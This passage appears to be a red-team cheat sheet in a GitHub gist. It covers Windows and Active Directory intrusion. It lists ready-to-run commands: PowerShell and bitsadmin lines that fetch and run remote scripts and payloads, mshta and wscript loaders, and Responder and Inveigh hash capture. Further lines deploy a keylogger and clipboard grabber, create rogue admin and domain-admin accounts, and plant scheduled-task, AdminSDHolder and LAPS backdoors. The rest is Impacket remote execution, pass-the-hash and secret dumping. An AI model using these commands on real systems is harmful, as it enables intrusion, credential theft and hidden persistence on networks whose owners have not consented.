| echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js | |
| ## mshta.exe | |
| Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line. | |
| Example: C:\Windows\System32\mshta.exe bad.hta | |
| Example: mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)") | |
| Example: mshta javascript:alert('test'); | |
| Example HTA: | |
| <html><HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" /><script language="VBScript"> | |
| Set objShell = CreateObject("Wscript.Shell") | |
| objShell.Run "calc.exe" | |
| Close | |
| </script></html> | |
| ## NTLM hash capture | |
| "c:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\10.10.14.3\test | |
| vim /etc/responder/Responder.conf and change Challenge = 1122334455667788 | |
| sudo responder -I tun0 | |
| sudo responder -I tun0 --lm | |
| crack.sh | |
| #################################################################################################### | |
| ##################################### Man-In-The-Middle ##################################### | |
| #################################################################################################### | |
| ## Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. | |
| ### Start inveigh using Basic Auth - logging to file | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y -HTTPAuth Basic" | |
| ### Start inveigh in silent mode (no popups) | |
| powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y -WPADAuth anonymous" | |
| ## Invoke-HotPotato Exploit | |
| powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Tater/master/Tater.ps1');invoke-Tater -Command 'net localgroup Administrators user /add'" | |
| ## Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB. | |
| https://github.com/lgandx/Responder | |
| ./Responder.py -I eth0 -rPv | |
| #################################################################################################### | |
| ######################################### Persistence ####################################### | |
| #################################################################################################### | |
| ## Use Windows Debug api to pause live processes | |
| powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/Pause-Process/master/pause-process.ps1');Pause-Process -ID 1180;UnPause-Process -ID 1180;" | |
| ## Import Powersploits invoke-keystrokes | |
| powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')" | |
| ## Import Empire's Get-ClipboardContents | |
| powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/collection/Get-ClipboardContents.ps1')" | |
| ## Import Get-TimedScreenshot | |
| powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/obscuresec/PowerShell/master/Get-TimedScreenshot')" | |
| ## create a schedule task to execute backdoor | |
| schtasks /creat /ru SYSTEM /sc MINUTE /MO 10 /tn megapwn /tr "\"C:\\Users\\path_to_backdoor\\backdoor.exe\"" | |
| ## changing password | |
| net user username newPassword | |
| net user username newPassword /domain | |
| ## create a new user | |
| net user imaginarybit P@ssw0rd12345! /add | |
| net localgroup administrators imaginarybit /add | |
| net localgroup "Remote Desktop Users" imaginarybit /add | |
| net share nothing$=C:\ /grant:imaginarybit,FULL /unlimited | |
| net user username /active:yes /domain | |
| ## create a new domain user | |
| net user imaginarybit P@ssw0rd12345! /add /domain /y | |
| net group "domain admins" imaginarybit /add | |
| net group "Enterprise Admins" imaginarybit /add | |
| ## bitsadmin.exe | |
| bitsadmin /create hackingarticles | |
| bitsadmin /addfile hackingarticles http://192.168.1.13/payload.exe C:\payload.exe | |
| bitsadmin /SetNotifyCmdLine hackingarticles cmd.exe "/c bitsadmin.exe /complete hackingarticles | start /B C:\payload.exe" | |
| bitsadmin /SetMinRetryDelay hackingarticles 120 | |
| schtasks /create /tn hackingarticles /tr "C:\system32\bitsadmin.exe /resume hackingarticles" /sc minute /mo 60 | |
| schtasks /run /tn hackingarticles | |
| ## AD Backdoor | |
| ## Hiding DACL | |
| 1. Change the obejct owner from "Domain Admins" to the attacker account. | |
| 2. Add a new explicit ACE denying the "Everyone" Principal the "Read Permissions" privilege. | |
| or | |
| 1. Change the object owner to itself or another controlled principal | |
| 2. Grant explicit control of the pricipal to either itself, or another controlled principal. | |
| 3. On the OU containing your hidden pricipal, deny the "List Contents" privilege to "Everyone" | |
| ## AdminSDHolder Backdoor | |
| Attacker grant themselves the "User-Force-Change-Password" or "Generic All" right on "CN=AdminSDHolder,CN=System,DC=Domain" | |
| Every 60 minutes, this permission is cloned to every sensitive/protected AD object through SDProp process | |
| Attakcer hides their account using methosd described | |
| $UserSid = Convert-NameToSid badguy | |
| Add-DomainObjectACL -TargetIdentity "CN=AdminSDHolder,CN=System,DC=CORP,DC=LOCAL" -PrincipalIdentity badguy -Right All | |
| ## Hiding with deny GenericAll | |
| Set-DomainObjectOwner -Identity badguy -OwnerIdentity badguy | |
| $User = Get-DomainUser badguy | |
| $UserOU = $User distinguishedName Substring($User distinguishedName IndexOf("OU=") | |
| $RawObject = Get-DomainOU -Raw -Identity $UserOU | |
| $TargetObject = $RawObject GetDirectoryEntry() | |
| $RawUser = Get-DomainUser -Raw -Identity badguy | |
| $TargetUser = $RawUser GetDirectoryEntry() | |
| $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Deny -PrincipalIdentity "S-1-1-0" -Right GenericAll | |
| $TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE) | |
| $TargetUser.PsBase.CommitChanges() | |
| ## Hiding with deny everyone to list the children | |
| $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Deny -PrincipalIdentity "S-1-1-0" -Right ListChildren | |
| $TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE) | |
| $TargetUser.PsBase.CommitChanges() | |
| ## LAPS Backdoor | |
| $RawObject = Get-DomainOU -Raw Servers | |
| $TargetObject = $RawObject.GetDirectoryEntry() | |
| $AdmPwdGuid = (Get-DomainGUIDMap).GetEnumerator() | ?{$_.value eq 'ms-Mcs-AdmPwd'}|select -ExpandProperty name | |
| $ACE = New-ADObjectAccessControlEntry -InheritanceType Descendents -AccessControlType Allow -PrincipalIdentity "Domain Users" -Right ExtendedRight -ObjectType $AdmPwdGuid | |
| $TargetUser.PsBase.ObjectSecurity.AddAccessRule($ACE) | |
| $TargetUser.PsBase.CommitChanges() | |
| Find-AdmPwdExtendedRights -OrgUnit Servers -IncludeComputers | fl # Find-AdmPwdExtendedRights "Audits" who can read ms-Mcs-AdmPwd | |
| Get-DomainComputer FS01 -Properties name,ms-mcs-AdmPwd | |
| ## DLL injection | |
| When an executable program load a DLL, it will search from the $PATH. | |
| For e.g., explorer.exe | |
| c:\windows\system32\cscapi.dll will be loaded and it is not being used by any program | |
| but the c:\windows\ has priority then c:\windows\system32 | |
| if malicious c:\windows\cscapi.dll is existed, the dll will be executed | |
| Known DLLs cannot be hijacked (HKML\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) | |
| DLL proxy. The malicious DLL can forward the function calls to the actual DLL file. | |
| https://www.cobaltstrike.com/blog/create-a-proxy-dll-with-artifact-kit/ | |
| #################################################################################################### | |
| ##################################### Core Impacket ################################## | |
| #################################################################################################### | |
| The STATUS_OBJECT_NAME_NOT_FOUND error should indicate that there is no \PIPE\svcctl pipe in the IPC$ share for some reasons. | |
| The rpc_access_denied error should mean that a non-administrator account was used (or a local administrator account was used, but the Network UAC is enabled). | |
| ## Remote Execution | |
| psexec.py: Required 445 | |
| PSEXEC like functionality example using RemComSvc(https://github.com/kavika13/RemCom). RemCom is a small (10KB upx packed) remoteshell / telnet replacement that lets you execute processes on remote windows systems, copy files on remote systems, process there output and stream it back. | |
| It allows execution of remote shell commands directly with full interactive console without having to install any client software. On local machines it is also able to impersonate so can be used as a silent replacement for Runas command. | |
| [*] Requesting shares on DMZDC01.complyedge.com..... | |
| [*] Found writable share ADMIN$ | |
| [*] Uploading file YJhRKEpW.exe | |
| [*] Opening SVCManager on DMZDC01.complyedge.com..... | |
| [*] Creating service SyQN on DMZDC01.complyedge.com..... | |
| [*] Starting service SyQN..... | |
| lcd {path} - changes the current local directory to {path} | |
| exit - terminates the server process (and this session) | |
| put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (ADMIN$) | |
| get {file} - downloads pathname RELATIVE to the connected share (ADMIN$) to the current local dir | |
| ! {cmd} - executes a local shell cmd | |
| psexec.py domain:[email protected] cmd.exe -path c:\\windows\\system32 | |
| psexec.py corp.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2 | |
| psexec.py -k -no-pass COMPLYEDGE.COM/[email protected] | |
| wmiexec.py: Required 135,445,a high port **Highly stealthy** | |
| A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. | |
| lcd {path} - changes the current local directory to {path} | |
| exit - terminates the server process (and this session) | |
| put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) | |
| get {file} - downloads pathname to the current local dir | |
| ! {cmd} - executes a local shell cmd | |
| ./wmiexec.py domain/[email protected] netstat | |
| wmiexec.py COMPLYEDGE.COM/[email protected] -k -no-pass | |
| smbexec.py: Required 445 | |
| A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available. | |
| ./smbexec.py domain/[email protected] | |
| smbexec.py -k -no-pass COMPLYEDGE.COM/[email protected] | |
| atexec.py: Required 445 | |
| This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. | |
| ./atexec.py domain/[email protected] systeminfo | |
| atexec.py -k -no-pass COMPLYEDGE.COM/[email protected] whoami | |
| dcomexec.py: Required 135,445 | |
| A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects. | |
| ./dcomexec.py domain/[email protected] dir | |
| ## Kerberos | |
| GetUserSPNs.py -no-pass -k -dc-ip 172.16.126.165 -target-domain comply.com COMPLYEDGE.COM/pete | |
| GetADUsers.py -all -no-pass -k -dc-ip 172.16.126.168 COMPLYEDGE.COM/pete | |
| GetTGT.py: Given a password, hash or aesKey, this script will request a TGT and save it as ccache. | |
| GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user. | |
| GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]s S4USelf + User to User Kerberos Authentication. | |
| GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. | |
| GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. | |
| ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa. | |
| ticketer.py: This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc. | |
| raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids. | |
| ## Windows Secrets | |
| secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp directory) and read the rest of the data from there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state. | |
| secretsdump.py -pwd-last-set -user-status -history -ntds ./ntds.dit -security SECURITY -system SYSTEM local | |
| mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi. | |
| ## Server Tools/MiTM Attacks | |
| ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB and HTTP Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc.). The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. create a user through LDAP) or can be executed in SOCKS mode. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy. | |
| karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified. | |
| smbserver.py: A Python implementation of an SMB server. Allows to quickly set up shares and user accounts. | |
| ## WMI | |
| wmiquery.py: It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32_account). | |
| wmipersist.py: This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified. | |
| ## Known Vulnerabilities | |
| goldenPac.py: Exploit for MS14-068. Saves the golden ticket and also launches a PSEXEC session at the target. | |
| sambaPipe.py: This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the -so parameter. | |
| smbrelayx.py: Exploit for CVE-2015-0005 using a SMB Relay Attack. If the target system is enforcing signing and a machine account was provided, the module will try to gather the SMB session key through NETLOGON. | |
| ## SMB/MSRPC | |
| smbclient.py: A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It is an excellent example to see how to use impacket.smb in action. | |
| smbclient.py tricky/[email protected] | |
| ## shares | |
| ## use C$ | |
| ## ls * | |
| ## cd Users | |
| ## lcd /tmp | |
| ## get proof.txt | |
| ## put proof.txt | |
| open {host,port=445} - opens a SMB connection against the target host/port | |
| login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it will be prompted | |
| kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it will be prompted. Use the DNS resolvable domain name | |
| login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes | |
| logoff - logs off | |
| shares - list available shares | |
| use {sharename} - connect to an specific share | |
| cd {path} - changes the current directory to {path} | |
| lcd {path} - changes the current local directory to {path} | |
| pwd - shows current remote directory | |
| password - changes the user password, the new password will be prompted for input | |
| ls {wildcard} - lists all the files in the current directory | |
| rm {file} - removes the selected file | |
| mkdir {dirname} - creates the directory under the current path | |
| rmdir {dirname} - removes the directory under the current path | |
| put {filename} - uploads the filename into the current path | |
| get {filename} - downloads the filename from the current path | |
| mount {target,path} - creates a mount point from {path} to {target} (admin required) | |
| umount {path} - removes the mount point at {path} without deleting the directory (admin required) | |
| info - returns NetrServerInfo main results | |
| who - returns the sessions currently connected at the target host (admin required) | |
| close - closes the current SMB Session | |
| exit - terminates the server process (and this session) | |
| addcomputer.py: Allows to add a computer to a domain using LDAP or SAMR (SMB). | |
| getArch.py: This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature. | |
| ./getArch.py -target 192.168.1.103 | |
| exchanger.py: A tool for connecting to MS Exchange via RPC over HTTP v2. | |
| lookupsid.py: A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups. | |
| ./lookupsid.py domain/[email protected] | |
| netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers | |
| ./netview.py domain/username -target 192.168.1.103 | |
| reg.py: Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility. | |
| ./reg.py domain/[email protected] query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s | |
| ./reg.py domain/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2 query -keyname HKU\\ | |
| ./reg.py domain/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2 query -keyname HKU\\Software\\ | |
| rpcdump.py: This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints. | |
| ./rpcdump.py domain/[email protected] | |
| ./rpcmap.py: Scan for listening DCE/RPC interfaces. This binds to the MGMT interface and gets a list of interface UUIDs. If the MGMT interface is not available, it takes a list of interface UUIDs seen in the wild and tries to bind to each interface. | |
| ./rpcmap.py 'ncacn_ip_tcp:10.10.10.213' -brute-uuids -brute-opnums -auth-level 1 -opnum-max 5 | |
| ifmap.py: This script will bind to the target`s MGMT interface to get a list of interface IDs. It will used that list on top of another list of interface UUIDs seen in the wild trying to bind to each interface and reports whether the interface is listed and/or listening. | |
| ./ifmap.py 192.168.1.103 135 | |
| samrdump.py: An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service. | |
| ./samrdump.py domain/[email protected] | |
| services.py: This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change. | |
| ./services.py domain/[email protected] list | |
| ## MSSQL / TDS | |
| mssqlinstance.py: Retrieves the MSSQL instances names from the target host. | |
| mssqlclient.py: An MSSQL client, supporting SQL and Windows Authentications (hashes too). It also supports TLS. | |
| ## File Formats | |
| esentutl.py: An Extensibe Storage Engine format implementation. Allows dumping catalog, pages and tables of ESE databases (e.g. NTDS.dit) | |
| ntfs-read.py: NTFS format implementation. This script provides a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents. | |
| registry-read.py: A Windwows Registry file format implementation. It allows to parse offline registry hives. | |
| ## Other | |
| findDelegation.py: Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment. | |
| GetADUsers.py: This script will gather data about the domain`s users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. | |
| mqtt_check.py: Simple MQTT example aimed at playing with different login options. Can be converted into a account/password brute forcer quite easily. | |
| rdp_check.py: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation just to reach CredSSP auth. This example test whether an account is valid on the target host. | |
| sniff.py: Simple packet sniffer that uses the pcapy library to listen for packets in # transit over the specified interface. | |
| sniffer.py: Simple packet sniffer that uses a raw socket to listen for packets in transit corresponding to the specified protocols. | |
| ping.py: Simple ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. If the remote host is up, it should reply to the echo probe with an echo-reply packet. | |
| ping6.py: Simple IPv6 ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment